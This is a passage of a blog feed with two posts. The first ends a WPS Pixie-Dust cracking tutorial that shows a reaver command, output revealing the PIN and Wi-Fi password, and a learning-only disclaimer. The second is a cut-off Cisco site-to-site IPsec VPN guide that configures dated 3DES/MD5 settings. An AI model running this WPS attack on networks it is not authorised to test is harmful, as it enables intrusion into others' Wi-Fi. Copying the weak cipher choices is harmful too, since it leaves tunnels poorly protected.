&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BSSID             PWR  Beacons  &lt;span style=&#34;color:#75715e&#34;&gt;#Data,  #/s  CH  MB  ENC  CIPHER  AUTH  ESSID &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;XX:XX:XX:XX:XX:XX -90  &lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;       &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;   54e WPA2 CCMP    PSK   WPSWIFI
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;5&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; The important bit from that output is the AP&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#39;&lt;/span&gt;s MAC &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;represented here with &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;XX:XX:XX:XX:XX:XX&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; and a channel &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;in this &lt;span style=&#34;color:#66d9ef&#34;&gt;case&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;4&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;. We can use it to run reaver and start cracking:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;```&lt;/span&gt;bash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@l33th4xx0r.wpswifi.lab : reaver -i wlp2s0 -b XX:XX:XX:XX:XX:XX -c &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; -K &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; -vv
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;After a &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt;, reaver should finally &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; something similar to this &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;in my experience, it never took more than &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; houirs&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;:&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;```&lt;/span&gt;bash
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  Pixiewps 1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; E-S1 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; E-S2 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; WPS pin: &lt;span style=&#34;color:#ae81ff&#34;&gt;12345678&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Pixie-Dust&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Time taken: &lt;span style=&#34;color:#ae81ff&#34;&gt;60&lt;/span&gt; s
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running reaver with the correct pin, wait...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cmd: reaver -i wlp2s0 -b XX:XX:XX:XX:XX:XX -c &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; -K &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; -vv
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Reaver Test&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; BSSID: XX:XX:XX:XX:XX:XX
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Reaver Test&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Channel: &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Reaver Test&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; WPS PIN: &lt;span style=&#34;color:#ae81ff&#34;&gt;12345678&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Reaver Test&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; WPA PSK: SECUREASF*CK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Reaver Test&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;*&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; AP SSID: WPSWIFI
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And thats it! We&amp;rsquo;ve got a working PIN. WPS at its best right there.&lt;/p&gt;
&lt;h2 id=&#34;disclaimer--summary&#34;&gt;Disclaimer &amp;amp; summary&lt;/h2&gt;
&lt;p&gt;This article should only be used for learning purposes. Never hack into network which you don&amp;rsquo;t own or which you weren&amp;rsquo;t asked to penetrate (and for sure don&amp;rsquo;t use my article to learn how to leech your neighbours wi-fi, Mr Batman).&lt;/p&gt;
&lt;p&gt;As you can see, WPS is very bad and is in reality just a huge backdoor to your network. Best  practice is to keep it disabled AT ALL TIMES. Don&amp;rsquo;t purchase hardware which requires you to connect to Wi-Fi via WPS.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Site-to-Site VPN on Cisco</title>
      <link>/posts/210101-cisco-site2site-vpn/</link>
      <pubDate>Fri, 01 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>/posts/210101-cisco-site2site-vpn/</guid>
      <description>Before we begin the actual &amp;ldquo;tutorial&amp;rdquo; part of this post, I think we should review what Site-to-Site VPN really is. For those completely unfamiliar with the VPN - or Virtual Private Networks - I recommend reading through my previous article about setting up an OpenVPN server on Linux where I also explain the basics of this technology.
The Techopedia has the following description of &amp;ldquo;Site-to-Site VPN&amp;rdquo;:
Site-to-site VPN typically creates a direct, unshared and secure connection between two end points.</description>
      <content>&lt;p&gt;Before we begin the actual &amp;ldquo;tutorial&amp;rdquo; part of this post, I think we should review what Site-to-Site VPN really is. For those completely unfamiliar with the VPN - or Virtual Private Networks - I recommend reading through my previous article about &lt;a href=&#34;https://ssh.guru/vpn-setting-up-openvpn-server-part-1/&#34;&gt;setting up an OpenVPN server on Linux&lt;/a&gt; where I also explain the basics of this technology.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&#34;https://www.techopedia.com/&#34;&gt;Techopedia&lt;/a&gt; has the following description of &amp;ldquo;Site-to-Site VPN&amp;rdquo;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Site-to-site VPN typically creates a direct, unshared and secure connection between two end points. Site-to-site VPN can be intranet based or extranet based. Intranet-based site-to-site VPN is created between an organization&amp;rsquo;s propriety networks, while extranet-based site-to-site VPN is used for connecting with external partner networks or an intranet.The connection in a site-to-site VPN is generally enabled through a VPN gateway device.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This connection, just as the regular VPN, has to be secure and encrypted on both ends. Here&amp;rsquo;s a brief explanation of how this works in theory (credits: &lt;a href=&#34;https://www.paloaltonetworks.com&#34;&gt;Palo Alto Networks&lt;/a&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The IP Security (IPSec) set of protocols is used to set up a secure tunnel for the VPN traffic, and the information in the TCP/IP packet is secured (and encrypted if the tunnel type is ESP). The IP packet (header and payload) is embedded in another IP payload, and a new header is applied and then sent through the IPSec tunnel. The source IP address in the new header is that of the local VPN peer and the destination IP address is that of the VPN peer on the far end of the tunnel. When the packet reaches the remote VPN peer (the firewall at the far end of the tunnel), the outer header is removed and the original packet is sent to its destination.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;the-two-sites&#34;&gt;The Two Sites&lt;/h2&gt;
&lt;p&gt;Here&amp;rsquo;s the setup:&lt;/p&gt;
&lt;p&gt;In this example, we are going to be linking together to sites: Network-A and Network-B. Both sites are connected to the Internet through their IOS routers; both have &amp;ldquo;some&amp;rdquo; servers and &amp;ldquo;some&amp;rdquo; hosts represented by Host-A/B and Server-A/B on the diagram below:&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/images/2018/09/Screenshot-from-2018-09-04-11-54-06.png&#34;   /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Here&amp;rsquo;s a brief overview of the network configuration in place:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Network-A&lt;/th&gt;
&lt;th&gt;Network-B&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Router (LAN)&lt;/td&gt;
&lt;td&gt;172.18.0.1&lt;/td&gt;
&lt;td&gt;10.0.0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Router (WAN)&lt;/td&gt;
&lt;td&gt;1.1.1.1&lt;/td&gt;
&lt;td&gt;2.2.2.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host Computer&lt;/td&gt;
&lt;td&gt;172.18.0.100&lt;/td&gt;
&lt;td&gt;10.0.0.100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server&lt;/td&gt;
&lt;td&gt;172.18.0.10&lt;/td&gt;
&lt;td&gt;10.0.0.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Subnet&lt;/td&gt;
&lt;td&gt;172.18.0.0/24&lt;/td&gt;
&lt;td&gt;10.0.0.0/24&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Ok, having all that written down we can move on to the VPN configuration itself.&lt;/p&gt;
&lt;h2 id=&#34;setting-up-the-routers&#34;&gt;Setting up the routers&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s begin by logging into our router through SSH or terminal:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&amp;gt;enable
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a#configure terminal
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;isakmp-phase-1&#34;&gt;ISAKMP (Phase 1)&lt;/h3&gt;
&lt;p&gt;First step is to configure an ISAKMP Phase 1 policy. ISAKMP is the protocol that specifies the mechanics of the key exchange used by IKE, which in turn establishes the shared security policy and authenticated keys.&lt;/p&gt;
&lt;p&gt;IKE exists only to establish SAs (Security Association) for IPsec. Before it can do this, IKE must negotiate an SA (an ISAKMP SA) relationship with the peer.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#  crypto isakmp policy 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-isakmp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# encr 3des&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-isakmp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# hash md5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-isakmp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# authentication pre-share&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-isakmp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# group 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-isakmp&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# lifetime 86400&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above commands define the following (in listed order):- 3DES - The encryption method to be used for Phase 1;- MD5 - The hashing algorithm;- Pre-share - Use Pre-shared key as the authentication method;- Group 2 - Diffie-Hellman group to be used;- 86400 – Session key lifetime (in seconds).&lt;/p&gt;
&lt;p&gt;Next, we are going to define a pre-shared key for authentication with our peer (router-b). This is a &amp;ldquo;password&amp;rdquo; which the routers are going to use to &amp;ldquo;recognize&amp;rdquo; each other. We can set up that key to &amp;ldquo;sshguru&amp;rdquo; by running the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# crypto isakmp key sshguru address 2.2.2.2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please note we&amp;rsquo;ve used &lt;code&gt;2.2.2.2&lt;/code&gt; as the address here as we&amp;rsquo;re already specifying what should be the public address of the peer. This is to further secure this key from getting leaked or spoofed.&lt;/p&gt;
&lt;p&gt;From now on, every time &lt;code&gt;router-a&lt;/code&gt; attempts to establish a VPN tunnel with &lt;code&gt;router-b&lt;/code&gt; (or &lt;code&gt;2.2.2.2&lt;/code&gt;), this pre-shared key will be used.&lt;/p&gt;
&lt;h3 id=&#34;ipsec-phase-2&#34;&gt;IPsec (Phase 2)&lt;/h3&gt;
&lt;p&gt;To configure IPSec (phase 2), we need to setup the following in order:- an extended ACL- IPSec transform set- Crypto Map&lt;/p&gt;
&lt;h3 id=&#34;setting-up-an-extended-access-control-list-acl&#34;&gt;Setting up an extended Access Control List (ACL)&lt;/h3&gt;
&lt;p&gt;An ACL controls the traffic allowed to pass through a given interface. In this example, we will allow all traffic going from 172.18.0.0 network (network-a) to 10.0.0.0 network (network-b) through the VPN tunnel.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# ip access-list extended VPN-ACL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-ext-nacl&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# permit ip 172.18.0.0 0.0.0.255 10.0.0.0 0.0.0.255&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s break down the above commands:- the first one created an extended ACL called &amp;ldquo;VPN-ACL&amp;rdquo;- the second one added a rule to the &amp;ldquo;VPN-ACL&amp;rdquo;, which allows all traffic from network-a to reach network-b; note: the &lt;code&gt;0.0.0.255&lt;/code&gt; bit is a &lt;a href=&#34;https://en.wikipedia.org/wiki/Wildcard_mask&#34;&gt;wildcard mask&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;creating-the-ipsec-tranform-set&#34;&gt;Creating the IPsec Tranform Set&lt;/h3&gt;
&lt;p&gt;A transform set is a combination of individual IPSec transforms (hashing, encryption etc.) designed to enact a specific security policy for traffic. We need to set it up so the VPN traffic won&amp;rsquo;t be readable during a &lt;a href=&#34;https://en.wikipedia.org/wiki/Man-in-the-middle_attack&#34;&gt;man-in-the-middle attack&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# crypto ipsec transform-set TSet esp-3des esp-md5-hmac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, in this example we&amp;rsquo;re setting up the transform set &lt;code&gt;TSet&lt;/code&gt; and configure it to include ESP-3DES encryption and MD5 hashing algorithms.&lt;/p&gt;
&lt;h3 id=&#34;defining-a-crypto-map&#34;&gt;Defining a Crypto Map&lt;/h3&gt;
&lt;p&gt;The crypto map is basically a rule which tells the router which transform set (&lt;code&gt;TSet&lt;/code&gt;) and which ACL (&lt;code&gt;VPN-ACL&lt;/code&gt;) to use while connecting with a defined peer (&lt;code&gt;router-b&lt;/code&gt; under an IP &lt;code&gt;2.2.2.2&lt;/code&gt;). We can set such rule by issuing:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# crypto map Crypt 10 ipsec-isakmp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-crypto-map&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# set peer 2.2.2.2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-crypto-map&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# set transform-set TSet&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config-crypto-map&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# match address VPN-ACL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once we&amp;rsquo;ve done this, we can apply a the crypto map (&lt;code&gt;Crypt&lt;/code&gt; in this case) to the outgoing interface on the router:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# interface FastEthernet0/1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-a&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config- &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# crypto map Crypt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Please note there can be only a single crypto map applied to an interface. If you plan to have a multi-site VPN setup or independent site-to-site VPN tunnels, ensure you have enough outgoing interfaces or design your network with &lt;a href=&#34;https://www.cisco.com/en/US/docs/ios/12_3t/12_3t14/feature/guide/gtIPSctm.html&#34;&gt;virtual tunnel interfaces (VTIs)&lt;/a&gt; in mind.&lt;/p&gt;
&lt;h3 id=&#34;the-other-end-of-the-tunnel&#34;&gt;The other end of the tunnel&lt;/h3&gt;
&lt;p&gt;At this point your VPN tunnel is ready for use (more or less). Nearly the same configuration has to be applied on the other end of the tunnel (&lt;code&gt;router-b&lt;/code&gt;) with only a couple of changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;phase 1 configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-b&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# crypto isakmp key sshguru address 1.1.1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;ACL rule&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router-b&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;config&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# ip access-list extended VPN-ACL&lt;/span&gt;
